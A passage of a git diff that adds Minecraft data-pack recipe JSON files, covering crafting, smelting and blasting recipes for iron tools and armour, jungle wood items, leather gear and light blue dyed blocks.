"type": "minecraft:crafting_shaped", + "pattern": [ + "A", + "B" + ], + "key": { + "A": { + "item": "minecraft:hopper" + }, + "B": { + "item": "minecraft:minecart" + } + }, + "result": { + "item": "minecraft:hopper_minecart" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_axe.json b/src/data/minecraft/recipes/iron_axe.json new file mode 100644 index 00000000..8d3430ba --- /dev/null +++ b/src/data/minecraft/recipes/iron_axe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + "X#", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_axe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_bars.json b/src/data/minecraft/recipes/iron_bars.json new file mode 100644 index 00000000..0e2552f3 --- /dev/null +++ b/src/data/minecraft/recipes/iron_bars.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_bars", + "count": 16 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_block.json b/src/data/minecraft/recipes/iron_block.json new file mode 100644 index 00000000..5cdfe03f --- /dev/null +++ b/src/data/minecraft/recipes/iron_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_boots.json b/src/data/minecraft/recipes/iron_boots.json new file mode 100644 index 00000000..f257c35c --- /dev/null +++ b/src/data/minecraft/recipes/iron_boots.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "X X" + ], + "key": { + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_boots" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_chestplate.json b/src/data/minecraft/recipes/iron_chestplate.json new file mode 100644 index 00000000..d06a59cc --- /dev/null +++ b/src/data/minecraft/recipes/iron_chestplate.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "XXX", + "XXX" + ], + "key": { + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_chestplate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_door.json b/src/data/minecraft/recipes/iron_door.json new file mode 100644 index 00000000..c1d6bdd2 --- /dev/null +++ b/src/data/minecraft/recipes/iron_door.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_helmet.json b/src/data/minecraft/recipes/iron_helmet.json new file mode 100644 index 00000000..05423277 --- /dev/null +++ b/src/data/minecraft/recipes/iron_helmet.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X" + ], + "key": { + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_helmet" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_hoe.json b/src/data/minecraft/recipes/iron_hoe.json new file mode 100644 index 00000000..f2359573 --- /dev/null +++ b/src/data/minecraft/recipes/iron_hoe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XX", + " #", + " #" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_hoe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_ingot.json b/src/data/minecraft/recipes/iron_ingot.json new file mode 100644 index 00000000..08171eaa --- /dev/null +++ b/src/data/minecraft/recipes/iron_ingot.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:iron_ore" + }, + "result": "minecraft:iron_ingot", + "experience": 0.7, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_ingot_from_blasting.json b/src/data/minecraft/recipes/iron_ingot_from_blasting.json new file mode 100644 index 00000000..4626b158 --- /dev/null +++ b/src/data/minecraft/recipes/iron_ingot_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "item": "minecraft:iron_ore" + }, + "result": "minecraft:iron_ingot", + "experience": 0.7, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_ingot_from_iron_block.json b/src/data/minecraft/recipes/iron_ingot_from_iron_block.json new file mode 100644 index 00000000..d0acfdf6 --- /dev/null +++ b/src/data/minecraft/recipes/iron_ingot_from_iron_block.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "iron_ingot", + "ingredients": [ + { + "item": "minecraft:iron_block" + } + ], + "result": { + "item": "minecraft:iron_ingot", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_ingot_from_nuggets.json b/src/data/minecraft/recipes/iron_ingot_from_nuggets.json new file mode 100644 index 00000000..c095051b --- /dev/null +++ b/src/data/minecraft/recipes/iron_ingot_from_nuggets.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "iron_ingot", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:iron_nugget" + } + }, + "result": { + "item": "minecraft:iron_ingot" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_leggings.json b/src/data/minecraft/recipes/iron_leggings.json new file mode 100644 index 00000000..25898f49 --- /dev/null +++ b/src/data/minecraft/recipes/iron_leggings.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X", + "X X" + ], + "key": { + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_leggings" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_nugget.json b/src/data/minecraft/recipes/iron_nugget.json new file mode 100644 index 00000000..82b1e0f9 --- /dev/null +++ b/src/data/minecraft/recipes/iron_nugget.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:iron_ingot" + } + ], + "result": { + "item": "minecraft:iron_nugget", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_nugget_from_blasting.json b/src/data/minecraft/recipes/iron_nugget_from_blasting.json new file mode 100644 index 00000000..1ce36c60 --- /dev/null +++ b/src/data/minecraft/recipes/iron_nugget_from_blasting.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:blasting", + "ingredient": [ + { + "item": "minecraft:iron_pickaxe" + }, + { + "item": "minecraft:iron_shovel" + }, + { + "item": "minecraft:iron_axe" + }, + { + "item": "minecraft:iron_hoe" + }, + { + "item": "minecraft:iron_sword" + }, + { + "item": "minecraft:iron_helmet" + }, + { + "item": "minecraft:iron_chestplate" + }, + { + "item": "minecraft:iron_leggings" + }, + { + "item": "minecraft:iron_boots" + }, + { + "item": "minecraft:iron_horse_armor" + }, + { + "item": "minecraft:chainmail_helmet" + }, + { + "item": "minecraft:chainmail_chestplate" + }, + { + "item": "minecraft:chainmail_leggings" + }, + { + "item": "minecraft:chainmail_boots" + } + ], + "result": "minecraft:iron_nugget", + "experience": 0.1, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_nugget_from_smelting.json b/src/data/minecraft/recipes/iron_nugget_from_smelting.json new file mode 100644 index 00000000..90023301 --- /dev/null +++ b/src/data/minecraft/recipes/iron_nugget_from_smelting.json @@ -0,0 +1,50 @@ +{ + "type": "minecraft:smelting", + "ingredient": [ + { + "item": "minecraft:iron_pickaxe" + }, + { + "item": "minecraft:iron_shovel" + }, + { + "item": "minecraft:iron_axe" + }, + { + "item": "minecraft:iron_hoe" + }, + { + "item": "minecraft:iron_sword" + }, + { + "item": "minecraft:iron_helmet" + }, + { + "item": "minecraft:iron_chestplate" + }, + { + "item": "minecraft:iron_leggings" + }, + { + "item": "minecraft:iron_boots" + }, + { + "item": "minecraft:iron_horse_armor" + }, + { + "item": "minecraft:chainmail_helmet" + }, + { + "item": "minecraft:chainmail_chestplate" + }, + { + "item": "minecraft:chainmail_leggings" + }, + { + "item": "minecraft:chainmail_boots" + } + ], + "result": "minecraft:iron_nugget", + "experience": 0.1, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_pickaxe.json b/src/data/minecraft/recipes/iron_pickaxe.json new file mode 100644 index 00000000..d85cb570 --- /dev/null +++ b/src/data/minecraft/recipes/iron_pickaxe.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + " # ", + " # " + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_pickaxe" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_shovel.json b/src/data/minecraft/recipes/iron_shovel.json new file mode 100644 index 00000000..b08e6aca --- /dev/null +++ b/src/data/minecraft/recipes/iron_shovel.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_shovel" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_sword.json b/src/data/minecraft/recipes/iron_sword.json new file mode 100644 index 00000000..069e94b0 --- /dev/null +++ b/src/data/minecraft/recipes/iron_sword.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "X", + "#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_sword" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/iron_trapdoor.json b/src/data/minecraft/recipes/iron_trapdoor.json new file mode 100644 index 00000000..ffc5716f --- /dev/null +++ b/src/data/minecraft/recipes/iron_trapdoor.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:iron_ingot" + } + }, + "result": { + "item": "minecraft:iron_trapdoor" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/item_frame.json b/src/data/minecraft/recipes/item_frame.json new file mode 100644 index 00000000..3dd76f7a --- /dev/null +++ b/src/data/minecraft/recipes/item_frame.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "X": { + "item": "minecraft:leather" + } + }, + "result": { + "item": "minecraft:item_frame" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jack_o_lantern.json b/src/data/minecraft/recipes/jack_o_lantern.json new file mode 100644 index 00000000..386ccf2a --- /dev/null +++ b/src/data/minecraft/recipes/jack_o_lantern.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "A", + "B" + ], + "key": { + "A": { + "item": "minecraft:carved_pumpkin" + }, + "B": { + "item": "minecraft:torch" + } + }, + "result": { + "item": "minecraft:jack_o_lantern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jukebox.json b/src/data/minecraft/recipes/jukebox.json new file mode 100644 index 00000000..3bce8a50 --- /dev/null +++ b/src/data/minecraft/recipes/jukebox.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "#X#", + "###" + ], + "key": { + "#": { + "tag": "minecraft:planks" + }, + "X": { + "item": "minecraft:diamond" + } + }, + "result": { + "item": "minecraft:jukebox" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_boat.json b/src/data/minecraft/recipes/jungle_boat.json new file mode 100644 index 00000000..e0975b58 --- /dev/null +++ b/src/data/minecraft/recipes/jungle_boat.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "boat", + "pattern": [ + "# #", + "###" + ], + "key": { + "#": { + "item": "minecraft:jungle_planks" + } + }, + "result": { + "item": "minecraft:jungle_boat" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_button.json b/src/data/minecraft/recipes/jungle_button.json new file mode 100644 index 00000000..467014cf --- /dev/null +++ b/src/data/minecraft/recipes/jungle_button.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "wooden_button", + "ingredients": [ + { + "item": "minecraft:jungle_planks" + } + ], + "result": { + "item": "minecraft:jungle_button" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_door.json b/src/data/minecraft/recipes/jungle_door.json new file mode 100644 index 00000000..d622528f --- /dev/null +++ b/src/data/minecraft/recipes/jungle_door.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_door", + "pattern": [ + "##", + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:jungle_planks" + } + }, + "result": { + "item": "minecraft:jungle_door", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_fence.json b/src/data/minecraft/recipes/jungle_fence.json new file mode 100644 index 00000000..46e54a34 --- /dev/null +++ b/src/data/minecraft/recipes/jungle_fence.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence", + "pattern": [ + "W#W", + "W#W" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:jungle_planks" + } + }, + "result": { + "item": "minecraft:jungle_fence", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_fence_gate.json b/src/data/minecraft/recipes/jungle_fence_gate.json new file mode 100644 index 00000000..ca06f9a6 --- /dev/null +++ b/src/data/minecraft/recipes/jungle_fence_gate.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_fence_gate", + "pattern": [ + "#W#", + "#W#" + ], + "key": { + "#": { + "item": "minecraft:stick" + }, + "W": { + "item": "minecraft:jungle_planks" + } + }, + "result": { + "item": "minecraft:jungle_fence_gate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_planks.json b/src/data/minecraft/recipes/jungle_planks.json new file mode 100644 index 00000000..e5561057 --- /dev/null +++ b/src/data/minecraft/recipes/jungle_planks.json @@ -0,0 +1,13 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "planks", + "ingredients": [ + { + "tag": "minecraft:jungle_logs" + } + ], + "result": { + "item": "minecraft:jungle_planks", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_pressure_plate.json b/src/data/minecraft/recipes/jungle_pressure_plate.json new file mode 100644 index 00000000..526818e3 --- /dev/null +++ b/src/data/minecraft/recipes/jungle_pressure_plate.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_pressure_plate", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:jungle_planks" + } + }, + "result": { + "item": "minecraft:jungle_pressure_plate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_sign.json b/src/data/minecraft/recipes/jungle_sign.json new file mode 100644 index 00000000..ae02f3d1 --- /dev/null +++ b/src/data/minecraft/recipes/jungle_sign.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "sign", + "pattern": [ + "###", + "###", + " X " + ], + "key": { + "#": { + "item": "minecraft:jungle_planks" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:jungle_sign", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_slab.json b/src/data/minecraft/recipes/jungle_slab.json new file mode 100644 index 00000000..70bc8b0e --- /dev/null +++ b/src/data/minecraft/recipes/jungle_slab.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_slab", + "pattern": [ + "###" + ], + "key": { + "#": { + "item": "minecraft:jungle_planks" + } + }, + "result": { + "item": "minecraft:jungle_slab", + "count": 6 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_stairs.json b/src/data/minecraft/recipes/jungle_stairs.json new file mode 100644 index 00000000..826e2bf5 --- /dev/null +++ b/src/data/minecraft/recipes/jungle_stairs.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_stairs", + "pattern": [ + "# ", + "## ", + "###" + ], + "key": { + "#": { + "item": "minecraft:jungle_planks" + } + }, + "result": { + "item": "minecraft:jungle_stairs", + "count": 4 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_trapdoor.json b/src/data/minecraft/recipes/jungle_trapdoor.json new file mode 100644 index 00000000..109463fa --- /dev/null +++ b/src/data/minecraft/recipes/jungle_trapdoor.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "wooden_trapdoor", + "pattern": [ + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:jungle_planks" + } + }, + "result": { + "item": "minecraft:jungle_trapdoor", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/jungle_wood.json b/src/data/minecraft/recipes/jungle_wood.json new file mode 100644 index 00000000..e69b0475 --- /dev/null +++ b/src/data/minecraft/recipes/jungle_wood.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bark", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:jungle_log" + } + }, + "result": { + "item": "minecraft:jungle_wood", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/ladder.json b/src/data/minecraft/recipes/ladder.json new file mode 100644 index 00000000..dc5c6ff8 --- /dev/null +++ b/src/data/minecraft/recipes/ladder.json @@ -0,0 +1,17 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "# #", + "###", + "# #" + ], + "key": { + "#": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:ladder", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lantern.json b/src/data/minecraft/recipes/lantern.json new file mode 100644 index 00000000..0215e065 --- /dev/null +++ b/src/data/minecraft/recipes/lantern.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X#X", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:torch" + }, + "X": { + "item": "minecraft:iron_nugget" + } + }, + "result": { + "item": "minecraft:lantern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lapis_block.json b/src/data/minecraft/recipes/lapis_block.json new file mode 100644 index 00000000..b7c62317 --- /dev/null +++ b/src/data/minecraft/recipes/lapis_block.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "###", + "###", + "###" + ], + "key": { + "#": { + "item": "minecraft:lapis_lazuli" + } + }, + "result": { + "item": "minecraft:lapis_block" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lapis_from_blasting.json b/src/data/minecraft/recipes/lapis_from_blasting.json new file mode 100644 index 00000000..1f4e1627 --- /dev/null +++ b/src/data/minecraft/recipes/lapis_from_blasting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:blasting", + "ingredient": { + "item": "minecraft:lapis_ore" + }, + "result": "minecraft:lapis_lazuli", + "experience": 0.2, + "cookingtime": 100 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lapis_from_smelting.json b/src/data/minecraft/recipes/lapis_from_smelting.json new file mode 100644 index 00000000..5d11c137 --- /dev/null +++ b/src/data/minecraft/recipes/lapis_from_smelting.json @@ -0,0 +1,9 @@ +{ + "type": "minecraft:smelting", + "ingredient": { + "item": "minecraft:lapis_ore" + }, + "result": "minecraft:lapis_lazuli", + "experience": 0.2, + "cookingtime": 200 +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lapis_lazuli.json b/src/data/minecraft/recipes/lapis_lazuli.json new file mode 100644 index 00000000..b15a540f --- /dev/null +++ b/src/data/minecraft/recipes/lapis_lazuli.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "ingredients": [ + { + "item": "minecraft:lapis_block" + } + ], + "result": { + "item": "minecraft:lapis_lazuli", + "count": 9 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lead.json b/src/data/minecraft/recipes/lead.json new file mode 100644 index 00000000..5e1976a6 --- /dev/null +++ b/src/data/minecraft/recipes/lead.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "~~ ", + "~O ", + " ~" + ], + "key": { + "~": { + "item": "minecraft:string" + }, + "O": { + "item": "minecraft:slime_ball" + } + }, + "result": { + "item": "minecraft:lead", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/leather.json b/src/data/minecraft/recipes/leather.json new file mode 100644 index 00000000..028548e1 --- /dev/null +++ b/src/data/minecraft/recipes/leather.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "##", + "##" + ], + "key": { + "#": { + "item": "minecraft:rabbit_hide" + } + }, + "result": { + "item": "minecraft:leather" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/leather_boots.json b/src/data/minecraft/recipes/leather_boots.json new file mode 100644 index 00000000..75a20b21 --- /dev/null +++ b/src/data/minecraft/recipes/leather_boots.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "X X" + ], + "key": { + "X": { + "item": "minecraft:leather" + } + }, + "result": { + "item": "minecraft:leather_boots" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/leather_chestplate.json b/src/data/minecraft/recipes/leather_chestplate.json new file mode 100644 index 00000000..f0c5f848 --- /dev/null +++ b/src/data/minecraft/recipes/leather_chestplate.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "XXX", + "XXX" + ], + "key": { + "X": { + "item": "minecraft:leather" + } + }, + "result": { + "item": "minecraft:leather_chestplate" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/leather_helmet.json b/src/data/minecraft/recipes/leather_helmet.json new file mode 100644 index 00000000..cd724715 --- /dev/null +++ b/src/data/minecraft/recipes/leather_helmet.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X" + ], + "key": { + "X": { + "item": "minecraft:leather" + } + }, + "result": { + "item": "minecraft:leather_helmet" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/leather_horse_armor.json b/src/data/minecraft/recipes/leather_horse_armor.json new file mode 100644 index 00000000..d7677bd0 --- /dev/null +++ b/src/data/minecraft/recipes/leather_horse_armor.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X X", + "XXX", + "X X" + ], + "key": { + "X": { + "item": "minecraft:leather" + } + }, + "result": { + "item": "minecraft:leather_horse_armor" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/leather_leggings.json b/src/data/minecraft/recipes/leather_leggings.json new file mode 100644 index 00000000..8adb27a1 --- /dev/null +++ b/src/data/minecraft/recipes/leather_leggings.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "XXX", + "X X", + "X X" + ], + "key": { + "X": { + "item": "minecraft:leather" + } + }, + "result": { + "item": "minecraft:leather_leggings" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lectern.json b/src/data/minecraft/recipes/lectern.json new file mode 100644 index 00000000..c58f9498 --- /dev/null +++ b/src/data/minecraft/recipes/lectern.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "SSS", + " B ", + " S " + ], + "key": { + "S": { + "tag": "minecraft:wooden_slabs" + }, + "B": { + "item": "minecraft:bookshelf" + } + }, + "result": { + "item": "minecraft:lectern" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/lever.json b/src/data/minecraft/recipes/lever.json new file mode 100644 index 00000000..4032febe --- /dev/null +++ b/src/data/minecraft/recipes/lever.json @@ -0,0 +1,18 @@ +{ + "type": "minecraft:crafting_shaped", + "pattern": [ + "X", + "#" + ], + "key": { + "#": { + "item": "minecraft:cobblestone" + }, + "X": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:lever" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_banner.json b/src/data/minecraft/recipes/light_blue_banner.json new file mode 100644 index 00000000..6b1cf55d --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_banner.json @@ -0,0 +1,20 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "banner", + "pattern": [ + "###", + "###", + " | " + ], + "key": { + "#": { + "item": "minecraft:light_blue_wool" + }, + "|": { + "item": "minecraft:stick" + } + }, + "result": { + "item": "minecraft:light_blue_banner" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_bed.json b/src/data/minecraft/recipes/light_blue_bed.json new file mode 100644 index 00000000..71c8efa2 --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_bed.json @@ -0,0 +1,19 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "bed", + "pattern": [ + "###", + "XXX" + ], + "key": { + "#": { + "item": "minecraft:light_blue_wool" + }, + "X": { + "tag": "minecraft:planks" + } + }, + "result": { + "item": "minecraft:light_blue_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_bed_from_white_bed.json b/src/data/minecraft/recipes/light_blue_bed_from_white_bed.json new file mode 100644 index 00000000..ff47a253 --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_bed_from_white_bed.json @@ -0,0 +1,15 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "dyed_bed", + "ingredients": [ + { + "item": "minecraft:white_bed" + }, + { + "item": "minecraft:light_blue_dye" + } + ], + "result": { + "item": "minecraft:light_blue_bed" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_carpet.json b/src/data/minecraft/recipes/light_blue_carpet.json new file mode 100644 index 00000000..298a9ce4 --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_carpet.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "##" + ], + "key": { + "#": { + "item": "minecraft:light_blue_wool" + } + }, + "result": { + "item": "minecraft:light_blue_carpet", + "count": 3 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_carpet_from_white_carpet.json b/src/data/minecraft/recipes/light_blue_carpet_from_white_carpet.json new file mode 100644 index 00000000..6be4700a --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_carpet_from_white_carpet.json @@ -0,0 +1,21 @@ +{ + "type": "minecraft:crafting_shaped", + "group": "carpet", + "pattern": [ + "###", + "#$#", + "###" + ], + "key": { + "#": { + "item": "minecraft:white_carpet" + }, + "$": { + "item": "minecraft:light_blue_dye" + } + }, + "result": { + "item": "minecraft:light_blue_carpet", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_concrete_powder.json b/src/data/minecraft/recipes/light_blue_concrete_powder.json new file mode 100644 index 00000000..5377768c --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_concrete_powder.json @@ -0,0 +1,37 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "concrete_powder", + "ingredients": [ + { + "item": "minecraft:light_blue_dye" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:sand" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + }, + { + "item": "minecraft:gravel" + } + ], + "result": { + "item": "minecraft:light_blue_concrete_powder", + "count": 8 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_dye_from_blue_orchid.json b/src/data/minecraft/recipes/light_blue_dye_from_blue_orchid.json new file mode 100644 index 00000000..d670f917 --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_dye_from_blue_orchid.json @@ -0,0 +1,12 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "light_blue_dye", + "ingredients": [ + { + "item": "minecraft:blue_orchid" + } + ], + "result": { + "item": "minecraft:light_blue_dye" + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_dye_from_blue_white_dye.json b/src/data/minecraft/recipes/light_blue_dye_from_blue_white_dye.json new file mode 100644 index 00000000..7a61de2b --- /dev/null +++ b/src/data/minecraft/recipes/light_blue_dye_from_blue_white_dye.json @@ -0,0 +1,16 @@ +{ + "type": "minecraft:crafting_shapeless", + "group": "light_blue_dye", + "ingredients": [ + { + "item": "minecraft:blue_dye" + }, + { + "item": "minecraft:white_dye" + } + ], + "result": { + "item": "minecraft:light_blue_dye", + "count": 2 + } +} \ No newline at end of file diff --git a/src/data/minecraft/recipes/light_blue_glazed_terracotta.json b/src/data/minecraft/recipes/light_blue_glazed_terracotta.json new file mode 100644 index 00000000..d4d2be4f --- 